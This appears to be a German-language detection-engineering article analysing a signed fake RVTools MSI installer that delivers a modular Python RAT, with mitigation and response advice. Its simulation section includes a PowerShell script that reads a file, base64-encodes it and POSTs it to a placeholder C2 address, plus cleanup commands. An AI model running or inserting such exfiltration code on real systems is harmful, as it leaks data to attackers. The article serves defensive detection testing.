SOC Prime Bias: Mittel

29 May 2026 07:20 UTC

RVTools-Maskerade: Wie ein signierter falscher Installer einen modularen Python RAT verteilt

Author Photo
SOC Prime Team linkedin icon Folgen
RVTools-Maskerade: Wie ein signierter falscher Installer einen modularen Python RAT verteilt
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Ein bösartiger MSI-Installer, der mit einem legitimen Zertifikat signiert ist, gibt sich als das von VMware-Administratoren verwendete RVTools-Dienstprogramm aus. Nach der Ausführung legt der Installer ein VBScript ab, das PowerShell startet, um ein großes ZIP-Archiv von Dropbox herunterzuladen. Dieses Archiv enthält eine portable Python-Umgebung, die einen mehrstufigen RAT ausführt, der in der Lage ist, Aufklärung durchzuführen, Persistenz aufrechtzuerhalten und mit festgelegten Kommando- und Kontrollservern zu kommunizieren.

Untersuchung

Die Analyse verfolgte das MSI zu einer benutzerdefinierten VBScript-Aktion, Binary.MyScript.vbs, die einen verschleierten PowerShell-Befehl dekodierte. Dieser Befehl lud ein winp.zip Payload in %APPDATA%, extrahierte Python-Komponenten und Skripte wie collector.py and Pmanager.py, und stellte dann Persistenz über Registry-Run-Schlüssel und eine geplante Aufgabe nach einem Neustart her. Forscher fanden außerdem heraus, dass der RAT gesammelte Daten mit RC4 verschlüsselte und in fünfminütigen Intervallen zu fünf festen IP-Adressen sendete.

Minderung

Organisationen sollten eine strikte Code-Signatur-Validierung mit Live-OCSP- oder CRL-Prüfungen durchsetzen, die Ausführung von nicht vertrauenswürdigen MSIs blockieren und nach verdächtigen benutzerdefinierten VBScript-Aktionen in Installer-Paketen überwachen. Verteidiger sollten auch die automatische Ausführung heruntergeladener Skripte verhindern, nach neuen Run-Key-Einträgen und der Erstellung geplanter Aufgaben Ausschau halten und bei ausgehendem Datenverkehr zu unbekannten, fest codierten IP-Adressen Alarm schlagen.

Reaktion

Falls diese Aktivität erkannt wird, das betroffene Endgerät sofort isolieren, das MSI, das VBScript und die extrahierten Payload-Dateien für die forensische Analyse sammeln und alle Persistenz-Artefakte, einschließlich Run-Key und geplanter Aufgabe, entfernen. Die identifizierten Kommando- und Kontroll-IP-Adressen sollten an der Firewall blockiert werden, und eine umfassendere Überprüfung von Anmeldeinformationen und Aktivitäten im Active Directory sollte durchgeführt werden, um festzustellen, ob seitliche Bewegungen stattgefunden haben.

Angriffsfluss

Simulationsausführung

Voraussetzung: Der Telemetrie- und Baseline-Preflight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Gegnertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die exakte Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Ein Gegner, der bereits einen Fuß auf der Opfermaschine etabliert hat, entscheidet sich, einen kleinen Datensatz zu exfiltrieren (z.B., C:Tempsecret.txt). Um zu vermeiden, generische Alarme für ausgehenden Verkehr auszulösen, verwendet der Akteur einen PowerShell Einzeiler, der einen HTTP-POST direkt zu einer der fest codierten C2-IPs durchführt (192.0.2.10). Der Befehl wird über eine Windows Geplante Aufgabe eingeplant, um Persistenz sicherzustellen (T1546.013). Keine zusätzlichen Binärdateien werden abgelegt, wodurch die Aktivität „living-off-the-land“ bleibt.

  • Regressionstest-Skript:

    # -------------------------------------------------
    # PowerShell-Skript – Datenexfiltration über fest codierte IP
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # Sicherstellen, dass die Datei existiert (Dummy-Daten für Test erstellen)
    if (-Not (Test-Path $file)) {
        "sensible Daten $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # Dateiinhalte lesen und Base64-verschlüsseln
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # HTTP-POST ausführen
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "Exfiltrationsversuch gesendet an $c2Ip"
    } catch {
        Write-Error "Exfiltration fehlgeschlagen: $_"
    }
  • Bereinigungskommandos:

    # Entfernen der Dummy-Datei
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # Löschen Sie alle für den Test erstellten geplanten Aufgaben (falls vorhanden)
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }